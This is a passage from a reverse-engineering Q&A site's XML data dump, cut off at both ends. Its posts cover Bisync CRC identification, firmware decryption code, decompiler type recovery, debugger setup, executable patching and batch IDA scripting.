found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generating CRC using crc reveng with above messages as data in and polynomial 8005 doesn't give the corresponding output CRC data. I tried several initial values for CRC and also tested various variants of options for bit order but no match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried a few CRC algorithms in C found on internet. They all gave the same CRC value on the above messages but non of them matched the values in the messages neither the output from crc reveng.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is very likely that I have done something wrong when applying crc reveng, but I cannot figure out what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Another test of crc reveng&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to get a better understanding of crc reveng I tried a sample message where the input data buffer, initial CRC value and output CRC value was well known: &lt;a href=&quot;https://stackoverflow.com/questions/23638939/crc-16-ibm-reverse-lookup-in-c&quot;&gt;https://stackoverflow.com/questions/23638939/crc-16-ibm-reverse-lookup-in-c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code in the first answer by Mark Adler give a result which is matching what is mentioned in the Maxim article. But I cannot recreate it in crc reveng, unfortunately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hints on what I am doing wrong, please!&lt;/p&gt;&#xA;" OwnerUserId="30915" LastEditorUserId="2959" LastEditDate="2020-01-31T08:54:52.253" LastActivityDate="2020-01-31T08:54:52.253" Title="Reverse engineering the IBM BSC (Bisync) protocol" Tags="|serial-communication|crc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23124" PostTypeId="2" ParentId="23098" CreationDate="2020-01-27T14:28:21.790" Score="5" Body="&lt;p&gt;Well thanks to @IgorSkochinsky's suggestion, I found a disassembler for the Blackfin architecture in the &lt;a href=&quot;https://hub.docker.com/r/pf0camino/cross-bfin-elf&quot; rel=&quot;noreferrer&quot;&gt;pf0camino/cross-bfin-elf&lt;/a&gt; Docker image.  Being in Docker meant it was easy to run and I didn't have to mess around with installing cross compilers myself.  I was then able to disassemble the image with this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bfin-elf-objdump -D -b binary -mbfin bootloader.bin &amp;gt; bootloader.disasm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This produced a large text file, which took some time to go through since the output didn't have any sort of automatic recognition applied to it.  Nevertheless, after reading up on Blackfin assembler and searching for various known constants, I was able to work out what the code was doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually I found the decryption function, and converted it to Javascript for use in my project.  It came out like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function decodeBlock(baseBlockNum, data)&#xA;{&#xA;    // If the block is zero, the function won't change the data, so this magic&#xA;    // number is used.  Block 0 is part of the bootloader, which never appears&#xA;    // to be reflashed in official firmware images.&#xA;    let key = baseBlockNum || 0x545A;&#xA;&#xA;    for (let pos = 0; pos &amp;lt; data.length;) {&#xA;        // Let's be fancy and execute the `if` statement without using an `if`.&#xA;        //if (key &amp;amp; 1) key ^= 0x8005;&#xA;        key ^= (&#xA;            ((key &amp;amp; 1) &amp;lt;&amp;lt; 15)&#xA;            | ((key &amp;amp; 1) &amp;lt;&amp;lt; 2)&#xA;            | (key &amp;amp; 1)&#xA;        );&#xA;&#xA;        // This rotate operation is a bit redundant, because the above XOR&#xA;        // always clears the lower bit.  So let's skip that part.&#xA;        //key = ((key &amp;amp; 1) &amp;lt;&amp;lt; 15) | (key &amp;gt;&amp;gt; 1);&#xA;        key &amp;gt;&amp;gt;= 1;&#xA;&#xA;        data[pos++] ^= key &amp;amp; 0xFF;&#xA;        data[pos++] ^= key &amp;gt;&amp;gt; 8;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;baseBlockNum&lt;/code&gt; parameter is the ROM address for the block, in units of 0x1000 bytes.  So for a block to be flashed at address 0x4000, the parameter is 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested this on the full firmware file and it decrypts it successfully!&lt;/p&gt;&#xA;" OwnerUserId="20888" LastActivityDate="2020-01-27T14:28:21.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23125" PostTypeId="1" CreationDate="2020-01-27T17:05:32.070" Score="4" ViewCount="835" Body="&lt;p&gt;I've seen multiple posts about the subject, but mine is a little bit more specific about what I want to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have many times situations where Hex-Rays decompiler outputs 16 lines of code and I know this is a call to a inline structure function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the first step, I convert those 16 lines of code to a structure (i.e &lt;code&gt;Matrix&lt;/code&gt;) which makes it a little bit more clear to understand what's happening&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I'm stuck where I want to make it show as 1 line, which will call to the underline inline structure function &lt;code&gt;Identity()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So those 16 lines of code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pJUem.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pJUem.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would show as &lt;code&gt;s_mtx.Identity()&lt;/code&gt; or maybe &lt;code&gt;Identity(s_mtx)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that even possible doing it within HexRays decompiler? Maybe some script I can write to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gets really tedious when you have a function with many matrix multiplications, vectors etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe @IgorSkochinsky?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot in advance!&lt;/p&gt;&#xA;" OwnerUserId="28516" LastActivityDate="2020-01-27T17:05:32.070" Title="IDA Hex-Rays structure inline functions recognition" Tags="|ida|c++|hexrays|decompiler|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23126" PostTypeId="2" ParentId="23123" CreationDate="2020-01-27T20:25:33.830" Score="4" Body="&lt;p&gt;If you have known data and a known CRC, and an unknown value (like the initial CRC value or the final XOR value), you can always loop through all possible values and find those that give you the answer you want.  It might not be practical for 32-bit CRCs, but for 8- and 16-bit CRCs it shouldn't take too long to run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need at least two sets of known data to get more accurate values though, as many of the possible 65,536 values will give the right answer for a single message.  But with two, very few values will produce the right CRC for both messages.  Just generate both CRCs in a loop, and if both produce the right result then print the values used and continue with the next ones.  With luck, at the end you'll have the correct constants used by that implementation - assuming the rest of the algorithm is correct of course!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, make sure your CRC implementation is handling word sizes correctly, e.g. a 16-bit implementation on a 32-bit architecture could accidentally be using bits above 15 that were just lost on the original 16-bit architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't used CRC RevEng before, but it sounds like this is what it does, so I'm not sure why you are getting no results.  In your case the algorithm seems to be pretty well defined, but I just reverse engineered an algorithm that was documented as being CRC-8, but actually it seemed more like a checksum rather than a full on CRC algorithm, and was 16-bit not 8-bit, so you can't always trust the documentation!  Possibly if the algorithm is nonstandard in some way this is why CRC RevEng can't pick it up.&lt;/p&gt;&#xA;" OwnerUserId="20888" LastActivityDate="2020-01-27T20:25:33.830" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23127" PostTypeId="1" AcceptedAnswerId="23152" CreationDate="2020-01-27T22:53:30.530" Score="1" ViewCount="202" Body="&lt;p&gt;In &lt;em&gt;&lt;a href=&quot;https://pdfs.semanticscholar.org/4815/f4122fa6c83b1691fde8b4ce21775d400c59.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;TIE: Principled Reverse Engineering of Types in Binary Programs&lt;/a&gt;&lt;/em&gt;, Lee J. et al claim to solve most of the challenges in the process of C code decompilation that come with type reconstruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While producing a complex type where maybe a &lt;code&gt;void *&lt;/code&gt; could fit is definitely non-trivial, I was just thinking about a possible type recovery ambiguity for what merely concerns a variable of type &lt;code&gt;int&lt;/code&gt; or &lt;code&gt;int *&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int foo(int *a, int sz) {&#xA;    int res = 0;&#xA;    for (int *q = a; q &amp;lt; &amp;amp;a[sz]; q++)&#xA;        res += *q;&#xA;    return res;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In 32-bit architectures, the above code shows an example of such ambiguity for variable &lt;code&gt;res&lt;/code&gt;, as both &lt;code&gt;int&lt;/code&gt; and &lt;code&gt;int *&lt;/code&gt; are compatible with a 32-bit register, and the disassembled code is the same. If &lt;code&gt;res&lt;/code&gt; was a pointer though, it would be improperly used since we would be returning the address of an automatic variable (and would lead to undefined behaviour). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can this example really be taken into account (is a valid instance)? Can you come up with an example where these two types generate ambiguity but are correctly used? Can we conclude that a variable can be inferred to be a pointer or not if it just gets dereferenced?&lt;/p&gt;&#xA;" OwnerUserId="25528" LastEditorUserId="53" LastEditDate="2020-01-28T09:07:29.630" LastActivityDate="2020-01-29T21:58:00.580" Title="Type reconstruction ambiguity" Tags="|ida|decompilation|type-reconstruction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23129" PostTypeId="2" ParentId="23123" CreationDate="2020-01-28T07:53:04.743" Score="4" Body="&lt;p&gt;&lt;strong&gt;SOLUTION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got help from a guy named Peter. He gave me a piece of test code in C. The CRC algorithm looked pretty similar to the ones I already tried. But what was important was that he pointed out that the first sample message most likely had a bit error.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int crc16(unsigned char *ptr, int count)&#xA;{&#xA;    unsigned int crc;&#xA;    char i;&#xA;&#xA;    crc = 0x0000;&#xA;    while (--count &amp;gt;= 0)&#xA;    {&#xA;        crc = crc ^ (unsigned int) *ptr++;&#xA;        i = 8;&#xA;        do&#xA;        {&#xA;            if (crc &amp;amp; 0x0001)&#xA;                crc = (crc &amp;gt;&amp;gt; 1) ^ 0xA001;  /* 0x8005 bit reversed */&#xA;            else&#xA;                crc = (crc &amp;gt;&amp;gt; 1);&#xA;        } while(--i);&#xA;    }&#xA;    return (crc);&#xA;}&#xA;&#xA;void main()&#xA;{                   &#xA;                     /* 32  01  6C  D9  02  40  40  40  70  03  26  88 */&#xA;&#xA;   unsigned char data1[] = {0x6c, 0xd9, 0x02, 0x40, 0x40, 0x40, 0x50, 0x03};&#xA;&#xA;                     /* 32  01  6C  D9  02  40  C8  40  50  03  0D  28 */&#xA;&#xA;   unsigned char data2[] = {0x6c, 0xd9, 0x02, 0x40, 0xc8, 0x40, 0x50, 0x03};&#xA;&#xA;   printf(&quot;crc sent: 8826 computed: %4.4x\n&quot;, crc16(data1, sizeof(data1)));&#xA;&#xA;   printf(&quot;crc sent: 280d computed: %4.4x\n&quot;, crc16(data2, sizeof(data2)));&#xA;&#xA;   return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when testing the first corrected message and the second message using crc reveng it finds the algorithm&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./reveng -w 16  -s 6cd90240c84050030d28&#xA;./reveng: warning: you have only given 1 sample&#xA;./reveng: warning: to reduce false positives, give 4 or more samples&#xA;width=16  poly=0x8005  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0xbb3d  residue=0x0000  name=&quot;CRC-16/ARC&quot;&#xA;MattisMacBook:reveng-2.1.0 mattis$ ./reveng -w 16  -s 6CD90240404070032688&#xA;./reveng: warning: you have only given 1 sample&#xA;./reveng: warning: to reduce false positives, give 4 or more samples&#xA;./reveng: no models found&#xA;$ ./reveng -w 16  -s 6CD90240404050032688&#xA;./reveng: warning: you have only given 1 sample&#xA;./reveng: warning: to reduce false positives, give 4 or more samples&#xA;width=16  poly=0x8005  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0xbb3d  residue=0x0000  name=&quot;CRC-16/ARC&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I tried getting crc reveng to do the same calculation as the code Peter provided above. It took a while to get the options right.&#xA;For some reason I had to specify the polynom in the reverse bit order to make it work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./reveng -w 16 -P a001 -i 0000  -x 0000  -l  -d &#xA;width=16  poly=0x8005  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0xbb3d  residue=0x0000  name=(none)&#xA;$ ./reveng -w 16 -P a001 -i 0000  -x 0000  -l  -c 6CD9024040405003&#xA;2688&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion and lessons learnt&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I never thought there could be errors in received data. That was stupid. It is not maybe likely on 9600 bps connection but can happen. Then I was too focused on testing both messages at the same time and never saw that the second message actually returned OK CRC, although it had the bytes swapped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So lessons for myself is: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Have more samples so that transmission errors can be spotted more easily &lt;/li&gt;&#xA;&lt;li&gt;Don't assume that all messages are correct.&lt;/li&gt;&#xA;&lt;li&gt;crc reveng has many options that at first sight can be hard to get right - keep trying!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks to everyone that has helped!&lt;/p&gt;&#xA;" OwnerUserId="30915" LastEditorUserId="30915" LastEditDate="2020-01-30T13:42:05.777" LastActivityDate="2020-01-30T13:42:05.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23130" PostTypeId="2" ParentId="23127" CreationDate="2020-01-28T09:19:43.710" Score="0" Body="&lt;p&gt;In fact, type-reconstruction is mainly looking at &lt;em&gt;how the program is using the data&lt;/em&gt; and tries to deduce the type based on this. Your example is really not a problem for most of the decompiler because &lt;code&gt;res&lt;/code&gt; is only used as an &lt;code&gt;int&lt;/code&gt; (the code always dereference the pointer when storing it to &lt;code&gt;res&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, at the assembly level you may enforce the usage of a constant to be both an integer value &lt;strong&gt;and&lt;/strong&gt; an address if the part of the program you are in is totally static. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov 0xdeadbeef, %eax&#xA;xor %ebx, %eax       &amp;lt;-- bitwise operators are almost never used on addresses&#xA;mov (%ebx), $ecx     &amp;lt;-- Yet, %ebx is an address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The heuristics of the decompiler will give contradictory information here, is &lt;code&gt;%ebx&lt;/code&gt; a data or an address ? So, one decision will be taken but both types (data and address) cannot be kept and backported to the decompiled code. Somehow, this is lost in translation.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2020-01-28T09:19:43.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23131" PostTypeId="2" ParentId="23119" CreationDate="2020-01-28T10:41:37.377" Score="3" Body="&lt;p&gt;If the company has released new firmware, you can just download that and compare those files without needing to dump anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your first step would have to be to disassemble both units and look at the circuitry inside, and compare model numbers on all the larger chips.  You might find they are using different chips, which is why the firmware is different.  In that case moving the firmware  is unlikely to work, in the same way that you can't put a train driver in an aircraft and expect them to be able to drive it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all the chips are the same, then there's probably some way of identifying which model is in use.  This would allow the same firmware to be loaded onto both devices, and it decides at power up which mode to start in.  If this is the case, it would then be a matter of working out how it identifies the model and changing that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's relatively rare for companies to release identical devices only differing in features and firmware though.  Usually there really is some hardware difference that makes using different firmware impractical.  So before you even entertain the idea, figuring out how similar the two devices are internally is the most important step.&lt;/p&gt;&#xA;" OwnerUserId="20888" LastActivityDate="2020-01-28T10:41:37.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23132" PostTypeId="1" AcceptedAnswerId="23133" CreationDate="2020-01-28T12:27:07.603" Score="0" ViewCount="1515" Body="&lt;h2&gt;Problem:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When I try to open an executable (in this case exploit exercises protostar stack0), then the following message appears in a pop-up box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Failed to open and attach to process: execv() failed: No such file or directory.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I am unable to open any files because of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terminal output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;osboxes@osboxes:~/tools/edb-debugger/build$ ./edb --run ~/proto/bin/stack0 &#xA;Icon theme &quot;elementary&quot; not found.&#xA;Starting edb version: 1.1.0&#xA;Please Report Bugs &amp;amp; Requests At: https://github.com/eteran/edb-debugger/issues&#xA;Running Terminal:  &quot;/usr/bin/xterm&quot;&#xA;Terminal Args:  (&quot;-title&quot;, &quot;edb output&quot;, &quot;-hold&quot;, &quot;-e&quot;, &quot;sh&quot;, &quot;-c&quot;, &quot;tty &amp;gt; /tmp/edb_temp_file_787768528_7578;trap \&quot;\&quot; INT QUIT TSTP;exec&amp;lt;&amp;amp;-; exec&amp;gt;&amp;amp;-;while :; do sleep 3600; done&quot;)&#xA;Terminal process has TTY:  &quot;/dev/pts/5&quot;&#xA;comparing versions: [4352] [4352]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At first I installed edb using apt-get. This problem occurred. Then I uninstalled and installed it manually from the source code (and fixed the segmentation fault issue by changing the plugins directory). The problem remains. It doesn't matter if I use --run or try to open it from the GUI.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Version info&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm using Lubuntu. Linux 5.3.0-18. It's a VM downloaded from OSBoxes. &lt;/p&gt;&#xA;" OwnerUserId="12632" LastActivityDate="2020-01-28T12:27:07.603" Title="Evan's debugger (edb) - Failed to open and attach to process: execv() failed: No such file or directory" Tags="|debuggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23133" PostTypeId="2" ParentId="23132" CreationDate="2020-01-28T12:27:07.603" Score="1" Body="&lt;pre&gt;&lt;code&gt;osboxes@osboxes:~/proto/bin$ ll | grep stack0&#xA;-rwsr-xr-x 1 root    root    22412 Jan 22 07:16 stack0*&#xA;osboxes@osboxes:~/proto/bin$ ./stack0&#xA;bash: ./stack0: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The program is marked as executable, but trying to execute it says there is no such file or directory. I didn't even notice it, because radare2 and gdb were able to execute it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading &lt;a href=&quot;https://askubuntu.com/questions/133389/no-such-file-or-directory-but-the-file-exists&quot;&gt;stackoverflow 1&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/questions/2716702/no-such-file-or-directory-error-when-executing-a-binary&quot;&gt;stackoverflow 2&lt;/a&gt;, it seems that the problem is that my 64 bit system can't handle the 32 bit executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After running the following command, I got the executable to work.&#xA;&lt;code&gt;sudo apt-get install lib32z1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also edb started working.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit: Another reason why it might not work for you is that you have not marked it as executable. In that case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;chmod +x filename&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12632" LastActivityDate="2020-01-28T12:27:07.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23134" PostTypeId="1" CreationDate="2020-01-28T13:12:08.000" Score="1" ViewCount="107" Body="&lt;p&gt;I'm trying to inject code to change the byte value of a CMP in an executable from 0 to 2 at runtime, in order to effectively no-op a boolean comparison as part of an effort to insert my own behavior. I have the offset of that single 0x00 byte in the file, as well as what I had thought was its virtual address - the file offset + the image base + the virtual address of the .text section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I was surprised by the fact that when I looked at this virtual address at runtime, I was in a completely different place in the code, in the middle of a bunch of 0xCC bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at it more, I found out that in general my presumed virtual addresses are inconsistent. For example, here's a few opcodes at virtual address 0x00ebf5e0 (offset + imagebase + .text virtualaddr) as displayed by Ghidra:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;55                push ebp&#xA;8B EC             mov  ebp, esp&#xA;83 EC 1C          sub  esp, 0x1c&#xA;A1 90 74 43 01    mov  eax, dword ptr [0x1437490]&#xA;33 C5             xor  eax, ebp&#xA;89 45 FC          mov  dword ptr [ebp - 4], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is a few opcodes dumped in memory, by directly reading from the same address (&lt;code&gt;(unsigned int8_t*)0x00ebf5e0&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8B 01             mov  eax, dword ptr [ecx]&#xA;89 45 F8          mov  dword ptr [ebp - 8], eax&#xA;89 5D E4          mov  dword ptr [ebp - 0x1c], ebx&#xA;83 FB 10          cmp  ebx, 0x10&#xA;72 04             jb   0x11&#xA;8B 3E             mov  edi, dword ptr [esi]&#xA;EB 02             jmp  0x13&#xA;8B FE             mov  edi, esi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried pretty much anything I could - directly addressing, obtaining the image base pointer through psapi.h &lt;code&gt;GetModuleInformation&lt;/code&gt; (which unsurprisingly turned out to be equal to &lt;code&gt;0x400000&lt;/code&gt;), including and not including the &lt;code&gt;0x1000&lt;/code&gt; (&lt;code&gt;.text&lt;/code&gt; vaddr), etc. The only interesting result this has brought is that at the very start of the image base, the bytes and opcodes do in fact check out - which has me thinking that this issue has something to do with alignment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: As per dumpbin, the executable has relocations stripped. It is also 32 bit.&lt;/p&gt;&#xA;" OwnerUserId="30927" LastActivityDate="2020-01-30T11:02:24.610" Title="Executable code in the same location differs in memory and on disk" Tags="|disassembly|windows|memory|patching|injection|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23136" PostTypeId="1" CreationDate="2020-01-28T17:24:02.887" Score="1" ViewCount="991" Body="&lt;p&gt;I have an address and I want to byte-patch it because there is a JMP that I want to block. But when I NOP it, the game just crash because it corrupt the function. So, I don't know what to do for block the JMP with a byte-patch.&#xA;There is a screen of the address below.&#xA;Thanks in advance ! &lt;a href=&quot;https://i.stack.imgur.com/diT4T.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/diT4T.png&quot; alt=&quot;Address ASM&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30929" LastActivityDate="2020-01-31T22:22:45.053" Title="Byte-patch a JMP" Tags="|disassembly|assembly|c++|memory|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23138" PostTypeId="1" CreationDate="2020-01-28T20:43:58.423" Score="2" ViewCount="454" Body="&lt;p&gt;So I have been using Binary ninja and I was wondering if there was any other tool except IDA or any binary ninja plugin that would transform assembly code into high level code, I already tried &lt;a href=&quot;https://github.com/hugsy/binja-retdec&quot; rel=&quot;nofollow noreferrer&quot;&gt;binja-retdec&lt;/a&gt; and &lt;a href=&quot;https://github.com/ThisIsSecurity/retdec_offline&quot; rel=&quot;nofollow noreferrer&quot;&gt;retdec-offline&lt;/a&gt;. Both of them don't work giving me a thread run error or a file generation error, any idea?&lt;/p&gt;&#xA;" OwnerUserId="30931" LastEditorUserId="245" LastEditDate="2022-01-25T16:25:28.887" LastActivityDate="2022-01-25T16:25:28.887" Title="High-level language decompiler on WIndows" Tags="|assembly|c|disassemblers|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23139" PostTypeId="1" CreationDate="2020-01-28T21:35:29.030" Score="0" ViewCount="54" Body="&lt;p&gt;I have buffer overflow in a program i check(it is an array of pointers, and i can overflow the data in the first pointer), but the data i can write is not on the stack, it is on a space the system allocated(it does not have name in /proc{id}/maps). and it is not the heap. &#xA;Is there any option to perform code execution via this scenario ? &#xA;As well as, is there option to overflow different segments ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="30932" LastActivityDate="2020-01-28T21:35:29.030" Title="Performing Buffer overflow in Linux" Tags="|assembly|linux|c|buffer-overflow|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23141" PostTypeId="1" CreationDate="2020-01-29T05:50:09.847" Score="1" ViewCount="1122" Body="&lt;p&gt;what best tool to use to decompile executable from Openwrt image&#xA;ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header ?&#xA;binnary file I have in my GIT repo if anybody want a quick look:&#xA;&lt;a href=&quot;https://github.com/Egyras/MyOpenhab/blob/master/a2wmain&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Egyras/MyOpenhab/blob/master/a2wmain&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30935" LastEditorUserId="30935" LastEditDate="2020-02-03T15:12:36.077" LastActivityDate="2020-03-05T09:02:40.337" Title="Need to decompile executable from Openwrt ELF 32-bit" Tags="|decompile|decompiler|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23142" PostTypeId="1" AcceptedAnswerId="23146" CreationDate="2020-01-29T05:59:06.437" Score="0" ViewCount="199" Body="&lt;p&gt;So far I batch disassembled all files using following PowerShell and IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$files = Get-Content S:\files.txt&#xA;ForEach ($file in $files)&#xA;{&#xA;    Write-Host &quot;Processing $file&quot;&#xA;    &amp;amp;&quot;C:\Program Files\IDA Pro 7.4\ida.exe&quot; -B $file &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then did a simple processing to try and identify DOS APIs used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$files = Get-ChildItem -Path S:\ -Filter *.asm -Recurse&#xA;&#xA;$ApiNames = @()&#xA;&#xA;ForEach ($file in $files)&#xA;{&#xA;    Write-Host &quot;Processing $file&quot;&#xA;    $content = Get-Content $file.Fullname &#xA;    $APIs = $content | Where-Object { $_.Contains(&quot;                int     &quot;) }&#xA;    ForEach($API in $APIs)&#xA;    {&#xA;        if ($API.Contains(&quot;;&quot;))&#xA;        {&#xA;            $split = $API.Split(&quot;;&quot;).Trim().Replace(&quot;     &quot;, &quot; &quot;)&#xA;            $ApiName = &quot;$($split[0]) - $($split[1])&quot;&#xA;            $ApiName = $ApiName.Replace(&quot;- -&quot;,&quot;-&quot;).Trim()&#xA;            if ($apiName -eq &quot;int 3 - software interrupt to invoke the debugger&quot;) { $apiName = &quot;int 3 - Trap to Debugger&quot; }&#xA;            if (!$ApiName.EndsWith(&quot; -&quot;))&#xA;            {&#xA;                if (!$ApiNames.Contains($ApiName))&#xA;                {&#xA;                    $ApiNames += $ApiName&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;}&#xA;&#xA;$SortedApiNames = $ApiNames | Sort-Object&#xA;&#xA;$table = New-Object System.Data.DataTable&#xA;&#xA;$table.Columns.Add(&quot;Process&quot;)&#xA;ForEach ($ApiName in $SortedApiNames)&#xA;{&#xA;    $table.Columns.Add($ApiName)&#xA;}&#xA;&#xA;ForEach ($file in $files)&#xA;{&#xA;    Write-Host &quot;Processing $file&quot;&#xA;    $content = Get-Content $file.Fullname &#xA;    $APIs = $content | Where-Object { $_.Contains(&quot;                int     &quot;) }&#xA;    $row = @()&#xA;    $row+= $file.FullName&#xA;    $ApiList = @()&#xA;    ForEach($API in $APIs)&#xA;    {&#xA;        if ($API.Contains(&quot;;&quot;))&#xA;        {&#xA;            $split = $API.Split(&quot;;&quot;).Trim().Replace(&quot;     &quot;, &quot; &quot;)&#xA;            $ApiName = &quot;$($split[0]) - $($split[1])&quot;&#xA;            $ApiName = $ApiName.Replace(&quot;- -&quot;,&quot;-&quot;).Trim()&#xA;            if ($apiName -eq &quot;int 3 - software interrupt to invoke the debugger&quot;) { $apiName = &quot;int 3 - Trap to Debugger&quot; }&#xA;            $ApiList+=$ApiName&#xA;        }&#xA;    }&#xA;&#xA;    For($i=1;$i -lt $table.Columns.Count;$i++)&#xA;    {&#xA;        if ($ApiList.Contains($table.Columns[$i].ColumnName))&#xA;  